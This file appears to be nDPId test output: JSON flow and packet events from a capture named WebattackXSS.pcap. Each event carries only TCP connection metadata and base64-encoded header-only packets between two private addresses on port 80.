+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5341,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":378,"flow_packet_id":1,"flow_first_seen":1499347607344,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59002,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":378,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5341,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347607,"pkt_ts_usec":344496,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8neJAAD4GJ+6sEAABwKgKMuZ6AFBKtMV6AAAAAKACchAONwAAAgQFtAQCCAoBO1iYAAAAAAEDAwc="} +00444{"flow_id":378,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5342,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347607,"pkt_ts_usec":344622,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5nrlgxvESrTFe6AScSDf2wAAAgQFtAQCCAoD5SoNATtYmAEDAwc="} +00433{"flow_id":378,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5343,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347607,"pkt_ts_usec":345382,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0neNAAD4GJ\/WsEAABwKgKMuZ6AFBKtMV75YMbxYAQAOV+4wAAAQEICgE7WJgD5SoN"} +00432{"flow_id":374,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5347,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347607,"pkt_ts_usec":782088,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ZzVAAD4GXqOsEAABwKgKMuZCAFA0xTSl4lmmZ4ARAOWi+gAAAQEICgE7WQUD5SUN"} +00432{"flow_id":374,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5348,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347607,"pkt_ts_usec":782329,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0jBxAAEAGN7zAqAoyrBAAAQBQ5kLiWaZnNMU0poARAOOdjQAAAQEICgPlKnsBO1kF"} +00432{"flow_id":374,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5349,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347607,"pkt_ts_usec":783132,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ZzZAAD4GXqKsEAABwKgKMuZCAFA0xTSm4lmmaIAQAOWdigAAAQEICgE7WQYD5Sp7"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5350,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":334,"flow_packet_id":6,"flow_first_seen":1499347535081,"flow_last_seen":1499347540761,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58224,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5350,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":334,"flow_packet_id":6,"flow_first_seen":1499347535081,"flow_last_seen":1499347540761,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58224,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5350,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":335,"flow_packet_id":6,"flow_first_seen":1499347536332,"flow_last_seen":1499347541761,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58238,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5350,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":335,"flow_packet_id":6,"flow_first_seen":1499347536332,"flow_last_seen":1499347541761,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58238,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5350,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":336,"flow_packet_id":6,"flow_first_seen":1499347537591,"flow_last_seen":1499347542762,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58252,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5350,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":336,"flow_packet_id":6,"flow_first_seen":1499347537591,"flow_last_seen":1499347542762,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58252,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5350,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":337,"flow_packet_id":6,"flow_first_seen":1499347540145,"flow_last_seen":1499347545763,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58278,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5350,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":337,"flow_packet_id":6,"flow_first_seen":1499347540145,"flow_last_seen":1499347545763,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58278,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5350,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":338,"flow_packet_id":6,"flow_first_seen":1499347541398,"flow_last_seen":1499347546763,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58292,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5350,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":338,"flow_packet_id":6,"flow_first_seen":1499347541398,"flow_last_seen":1499347546763,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58292,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5350,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":339,"flow_packet_id":6,"flow_first_seen":1499347542648,"flow_last_seen":1499347547763,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58306,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5350,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":339,"flow_packet_id":6,"flow_first_seen":1499347542648,"flow_last_seen":1499347547763,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58306,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5353,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":379,"flow_packet_id":1,"flow_first_seen":1499347608596,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59016,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":379,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5353,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347608,"pkt_ts_usec":596103,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8UBJAAD4Gdb6sEAABwKgKMuaIAFDT6AnDAAAAAKACchA\/cwAAAgQFtAQCCAoBO1nRAAAAAAEDAwc="} +00444{"flow_id":379,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5354,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347608,"pkt_ts_usec":596245,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5oh16C+h0+gJxKAScSBrnQAAAgQFtAQCCAoD5StGATtZ0QEDAwc="} +00432{"flow_id":379,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5355,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347608,"pkt_ts_usec":597153,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UBNAAD4GdcWsEAABwKgKMuaIAFDT6AnEdegvooAQAOUKpQAAAQEICgE7WdED5StG"} +00433{"flow_id":375,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5359,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347608,"pkt_ts_usec":783141,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rD9AAD4GGZmsEAABwKgKMuZQAFBpufjlxMd\/o4ARAOXr0gAAAQEICgE7Wf8D5SZO"} +00433{"flow_id":375,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5360,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347608,"pkt_ts_usec":783331,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0VNZAAEAGbwLAqAoyrBAAAQBQ5lDEx3+jabn45oARAOPmrAAAAQEICgPlK3UBO1n\/"} +00433{"flow_id":375,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5361,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347608,"pkt_ts_usec":786078,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rEBAAD4GGZisEAABwKgKMuZQAFBpufjmxMd\/pIAQAOXmqQAAAQEICgE7WgAD5St1"} +00432{"flow_id":376,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5365,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347609,"pkt_ts_usec":783073,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ltRAAD4GLwSsEAABwKgKMuZeAFCga8DDaDG2ioARAOUQsgAAAQEICgE7WvoD5SeF"} +00432{"flow_id":376,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5366,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347609,"pkt_ts_usec":783271,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0muVAAEAGKPPAqAoyrBAAAQBQ5l5oMbaKoGvAxIARAOMLyQAAAQEICgPlLG8BO1r6"} +00432{"flow_id":376,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5367,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347609,"pkt_ts_usec":784116,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ltVAAD4GLwOsEAABwKgKMuZeAFCga8DEaDG2i4AQAOULxwAAAQEICgE7WvoD5Sxv"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5374,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":380,"flow_packet_id":1,"flow_first_seen":1499347611162,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59042,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":380,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5374,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347611,"pkt_ts_usec":162032,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8at5AAD4GWvKsEAABwKgKMuaiAFBCbDaMAAAAAKACchChiwAAAgQFtAQCCAoBO1xSAAAAAAEDAwc="} +00445{"flow_id":380,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5375,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347611,"pkt_ts_usec":162175,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5qKcQtTMQmw2jaAScSD\/rQAAAgQFtAQCCAoD5S3IATtcUgEDAwc="} +00432{"flow_id":380,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5376,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347611,"pkt_ts_usec":163094,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0at9AAD4GWvmsEAABwKgKMuaiAFBCbDaNnELUzYAQAOWetAAAAQEICgE7XFMD5S3I"} +00433{"flow_id":377,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5381,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347611,"pkt_ts_usec":784999,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03mFAAD4G53asEAABwKgKMuZsAFA9+okFMn4u\/YARAOVk1AAAAQEICgE7XO4D5SjR"} +00432{"flow_id":377,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5382,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347611,"pkt_ts_usec":785240,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0AJ5AAEAGwzrAqAoyrBAAAQBQ5mwyfi79PfqJBoARAONfQwAAAQEICgPlLmMBO1zu"} +00433{"flow_id":377,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5383,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347611,"pkt_ts_usec":787086,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03mJAAD4G53WsEAABwKgKMuZsAFA9+okGMn4u\/oAQAOVfQAAAAQEICgE7XO8D5S5j"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5387,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":381,"flow_packet_id":1,"flow_first_seen":1499347612465,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59056,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":381,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5387,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347612,"pkt_ts_usec":465993,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8dipAAD4GT6asEAABwKgKMuawAFAlJSuyAAAAAKACchDIWAAAAgQFtAQCCAoBO12YAAAAAAEDAwc="} +00444{"flow_id":381,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5388,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347612,"pkt_ts_usec":466127,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5rAZOYT0JSUrs6AScSD4FwAAAgQFtAQCCAoD5S8NATtdmAEDAwc="} +00432{"flow_id":381,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5390,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347612,"pkt_ts_usec":467026,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ditAAD4GT62sEAABwKgKMuawAFAlJSuzGTmE9YAQAOWXHgAAAQEICgE7XZkD5S8N"} +00433{"flow_id":378,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5394,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347612,"pkt_ts_usec":783999,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0neRAAD4GJ\/SsEAABwKgKMuZ6AFBKtMV75YMbxYARAOV5kgAAAQEICgE7XegD5SoN"} +00432{"flow_id":378,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5395,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347612,"pkt_ts_usec":784293,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0NJhAAEAGj0DAqAoyrBAAAQBQ5nrlgxvFSrTFfIARAON0QwAAAQEICgPlL10BO13o"} +00433{"flow_id":378,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5396,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347612,"pkt_ts_usec":785000,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0neVAAD4GJ\/OsEAABwKgKMuZ6AFBKtMV85YMbxoAQAOV0QQAAAQEICgE7XegD5S9d"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5400,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":382,"flow_packet_id":1,"flow_first_seen":1499347613718,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59070,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":382,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5400,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347613,"pkt_ts_usec":718984,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8VmlAAD4Gb2esEAABwKgKMua+AFCqCgi7AAAAAKACchBlIgAAAgQFtAQCCAoBO17SAAAAAAEDAwc="} +00444{"flow_id":382,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5401,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347613,"pkt_ts_usec":719118,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5r4KHPZlqgoIvKAScSAxUwAAAgQFtAQCCAoD5TBHATte0gEDAwc="} +00432{"flow_id":382,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5402,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347613,"pkt_ts_usec":719991,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VmpAAD4Gb26sEAABwKgKMua+AFCqCgi8Chz2ZoAQAOXQWgAAAQEICgE7XtID5TBH"} +00432{"flow_id":379,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5406,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347613,"pkt_ts_usec":784960,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UBRAAD4GdcSsEAABwKgKMuaIAFDT6AnEdegvooARAOUFkwAAAQEICgE7XuID5StG"} +00433{"flow_id":379,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5407,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347613,"pkt_ts_usec":785216,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0H\/VAAEAGo+PAqAoyrBAAAQBQ5oh16C+i0+gJxYARAOMAgwAAAQEICgPlMFcBO17i"} +00432{"flow_id":379,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5408,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347613,"pkt_ts_usec":787038,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UBVAAD4GdcOsEAABwKgKMuaIAFDT6AnFdegvo4AQAOUAgAAAAQEICgE7XuMD5TBX"} 